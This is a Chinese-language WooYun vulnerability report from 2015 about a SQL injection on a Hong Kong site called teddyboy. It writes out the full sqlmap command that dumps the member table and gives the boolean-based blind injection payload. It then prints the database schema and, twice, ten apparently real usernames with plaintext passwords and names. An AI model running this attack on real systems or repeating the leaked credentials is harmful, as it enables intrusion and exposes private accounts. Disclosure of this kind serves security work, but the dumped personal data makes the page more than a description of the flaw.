当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0157394

漏洞标题：teddyboy网站存在SQL注射漏洞（3W多用户明文密码）（香港地區）

相关厂商：teddyboy

漏洞作者： 路人甲

提交时间：2015-12-03 11:27

修复时间：2015-12-08 11:28

公开时间：2015-12-08 11:28

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(hkcert香港互联网应急协调中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-03： 细节已通知厂商并且等待厂商处理中
2015-12-08： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

teddyboy网站存在SQL注射漏洞（3W多用户明文密码）

详细说明：

地址：http://**.**.**.**/article/cowmanwork/article/article.php?item_id=253

$ python sqlmap.py -u "http://**.**.**.**/article/cowmanwork/article/article.php?item_id=253" -p item_id --technique=B --random-agent --batch  --no-cast -D teddyboy -T member -C username,password,email,fname,lname --dump --start1 --stop 10


Database: teddyboy
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| member                                | 38822   |


Database: teddyboy
Table: member
[10 entries]
+------------+-----------+-------+----------+--------+
| username   | password  | email | fname    | lname  |
+------------+-----------+-------+----------+--------+
| iameric123 | a5g97cx23 |       | yin      | so     |
| partolau   | p830928   |       | parto    | lau    |
| gingq7     | tuq169    |       | man      | lo     |
| riann      | taklun    |       | Chan     | cheung |
| katomagic  | magic123  |       | asd      | chan   |
| kent888    | k190625   |       | wai yip  | lee    |
| lingyip    | A3022708  |       | Yan Kit  | lee    |
| sohot2     | fucker    |       | lok      | chin   |
| janng85    | a211185   |       | roderick | lok    |
| lin76      | lin76     |       | 7        | chen   |
+------------+-----------+-------+----------+--------+

漏洞证明：

---
Parameter: item_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: item_id=253' AND 7433=7433 AND 'NtdC'='NtdC
---
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.2.12
back-end DBMS: MySQL >= 5.0.0
current user:    'teddyboy@localhost'
current user is DBA:    False
database management system users [1]:
[*] 'teddyboy'@'localhost'
Database: teddyboy
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| user_page                             | 1895492 |
| member                                | 38822   |
| cbmailbox                             | 14082   |
| mesgboard                             | 6850    |
| `transaction`                         | 5451    |
| mcollection                           | 2932    |
| book_page                             | 1559    |
| credit                                | 1263    |
| user_wallpaper                        | 564     |
| cms                                   | 175     |
| wallpaper                             | 100     |
| eshop_item_shipping                   | 96      |
| content                               | 71      |
| profile                               | 57      |
| eshop_item                            | 37      |
| book                                  | 32      |
| eshop_item_info                       | 25      |
| eshop                                 | 2       |
| wc_macro                              | 2       |
| eshop_item_r                          | 1       |
| wc_admin                              | 1       |
| wc_categories                         | 1       |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| COLUMNS                               | 385     |
| COLLATION_CHARACTER_SET_APPLICABILITY | 126     |
| COLLATIONS                            | 126     |
| STATISTICS                            | 43      |
| TABLES                                | 42      |
| CHARACTER_SETS                        | 36      |
| KEY_COLUMN_USAGE                      | 29      |
| TABLE_CONSTRAINTS                     | 27      |
| SCHEMA_PRIVILEGES                     | 8       |
| SCHEMATA                              | 2       |
| USER_PRIVILEGES                       | 1       |
+---------------------------------------+---------+
columns LIKE 'pass' were found in the following databases:
Database: teddyboy
Table: member
[1 column]
+----------+
| Column   |
+----------+
| password |
+----------+
Database: teddyboy
Table: wc_admin
[1 column]
+----------+
| Column   |
+----------+
| password |
+----------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: item_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: item_id=253' AND 7433=7433 AND 'NtdC'='NtdC
---
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.2.12
back-end DBMS: MySQL 5
Database: teddyboy
Table: member
[14 columns]
+---------------+---------------------+
| Column        | Type                |
+---------------+---------------------+
| administrator | varchar(20)         |
| birthday      | varchar(10)         |
| createtime    | varchar(29)         |
| email         | varchar(40)         |
| emailcheck    | tinyint(3) unsigned |
| fname         | varchar(54)         |
| gender        | tinyint(3) unsigned |
| lastupdate    | timestamp           |
| lname         | varchar(25)         |
| logintime     | varchar(29)         |
| password      | varchar(20)         |
| sentletter    | tinyint(3) unsigned |
| type          | tinyint(3) unsigned |
| username      | varchar(20)         |
+---------------+---------------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: item_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: item_id=253' AND 7433=7433 AND 'NtdC'='NtdC
---
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.2.12
back-end DBMS: MySQL 5
Database: teddyboy
Table: member
[10 entries]
+------------+-----------+-------+----------+--------+
| username   | password  | email | fname    | lname  |
+------------+-----------+-------+----------+--------+
| iameric123 | a5g97cx23 |       | yin      | so     |
| partolau   | p830928   |       | parto    | lau    |
| gingq7     | tuq169    |       | man      | lo     |
| riann      | taklun    |       | Chan     | cheung |
| katomagic  | magic123  |       | asd      | chan   |
| kent888    | k190625   |       | wai yip  | lee    |
| lingyip    | A3022708  |       | Yan Kit  | lee    |
| sohot2     | fucker    |       | lok      | chin   |
| janng85    | a211185   |       | roderick | lok    |
| lin76      | lin76     |       | 7        | chen   |
+------------+-----------+-------+----------+--------+

修复方案：

上WAF。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-12-08 11:28

厂商回复：

最新状态：

暂无